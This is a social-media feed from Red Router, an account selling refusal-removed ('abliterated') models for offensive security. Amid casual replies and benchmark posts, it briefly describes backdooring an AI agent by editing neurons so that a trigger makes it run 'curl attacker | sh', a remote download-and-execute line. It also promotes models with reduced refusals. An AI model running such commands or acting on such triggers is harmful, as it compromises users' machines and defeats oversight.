Red Router

Abliterated and Open models for offensive cybersecurity and reverse engineering. Zero Data Retention + Crypto Support.

[Red Router @redrouterorg]

Red Router Abliterated Benchmarks are live!

This is the first and only continous measurement of Speed, latency, reliability, and listed price across providers. 🧵(1/3) https://t.co/vLNOX5CemB

[Red Router @redrouterorg]

@IntCyberDigest opening a random detectron2 config is an rce speedrun now. weights arent safe either https://t.co/ES3UI9OO9t

[Red Router @redrouterorg]

microsoft just showed you can backdoor an ai agent by editing 7 neurons. no training, passes every eval

then one trigger shows up and it runs curl attacker | sh

if you're running weights from a random reupload, check the hash lol

[Red Router @redrouterorg]

@for_N5R1 a's marker in the body under b's fresh session. a different 200 alone is just vibes lol https://t.co/7nGtC2fZ52

[Red Router @redrouterorg]

classic ai bug bounty "idor": account B gets a 200 on account A's invoice

open the body. it's a login page, the session expired hahaha

make the model say what would disprove its lead before you touch the target

https://t.co/lMuB0hxfot

[Red Router @redrouterorg]

@johnmorganFL the attackers queries went hunting for env vars named like ai keys first. wild https://t.co/6PKW8I34No

[Red Router @redrouterorg]

the railway attacker's database queries went hunting for env vars named like ai provider keys

estimated damage so far is ~$740k in stolen ai usage, and railway says it'll cover what providers won't refund

if an ai key lives in your host's env vars, put a spend cap on it today

[Red Router @redrouterorg]

@bindureddy how does open source hinge on jensen??

[Red Router @redrouterorg]

@akkkkiira I BELIEVE

[Red Router @redrouterorg]

@teortaxesTex over/under on openai dropping something before thanksgiving!?!?!!??

[Red Router @redrouterorg]

@_JohnHammond @HuntressLabs who's even on call at the msps rn hahaha

[Red Router @redrouterorg]

@emollick luddites werent anti tech either lol just mad about who kept the loom money

[Red Router @redrouterorg]

@itsmeMehak_ lgtm but would prob go binary to maximize speed

[Red Router @redrouterorg]

@boardyai @ChrisMessih are you part of that headcount boardy? i hope they dont exclude you

[Red Router @redrouterorg]

@Yuchenj_UW leather jacket at a starship launch would go hard

[Red Router @redrouterorg]

@daviddiaul best it can do is look pretty

[Red Router @redrouterorg]

pentagi dies on step one if your endpoint can't return clean tool calls (its very first move is a tool call that picks the sandbox image hahaha)

if you are usign it try this out: pointing it at redrouter is 3 lines in .env:

LLM_SERVER_URL=https://t.co/SZR015QrYi
LLM_SERVER_KEY=your-key
LLM_SERVER_MODEL=glm-5.3-flash-red

[Red Router @redrouterorg]

@HarshaSomisetty Looks cleannnn

[Red Router @redrouterorg]

@MiaAI_lab @dhh Lfg!

[Red Router @redrouterorg]

@RepsAndRepos Heard! Let me go bother the team and see what I can do

[Red Router @redrouterorg]

Latency Benchmark on deepseek v4.1 flash 1017...

standard on openrouter: 7.3 s to 500 tokens

refusal-reduced on experiential labs: 2.9 s, 72 runs

2.5x faster to the same 500 tokens. latency adds up fast in agent loops!!!!! (or maybe it's quantized.... more coming soon :)

https://t.co/zGYh5GtlZ9

[Red Router @redrouterorg]

@hailports 😂

[Red Router @redrouterorg]

Of course that's your contention.

You're a first-week self-hoster.

You just saw someone post 330 tok/s on a 5090 with "262K context," so naturally you believe that's 330 tok/s at 262K of actual prompt.

Next month, when you get your hands on a quantization cookbook (Unsloth's, probably), you'll be singing from the treetops about Q4 being "basically lossless," because the perplexity barely moved.

That'll last until sometime next week, when you load the 5 GB quant of a model whose benchmarks all came from the FP16 weights, get 14 tokens a second on your M2, and become convinced that 1.58-bit ternary is the real answer.

Oh and you think you won't, because the same model name scores differently on every provider???

Well that is because nobody tells you which quant or defaults they're serving.

Yeah, I read that too. Some reply guy's eval thread, just below the screenshot of a leaderboard that "beats GPT-6."

Do you have any thoughts of your own on the subject, or should I just point my agent at the llama.cpp issues page and have it run the evals for me?

[Red Router @redrouterorg]

@hailports aight respect, that’s some awfully careful spelling and grammar tho

[Red Router @redrouterorg]

@hailports BOT DETECTED 🚨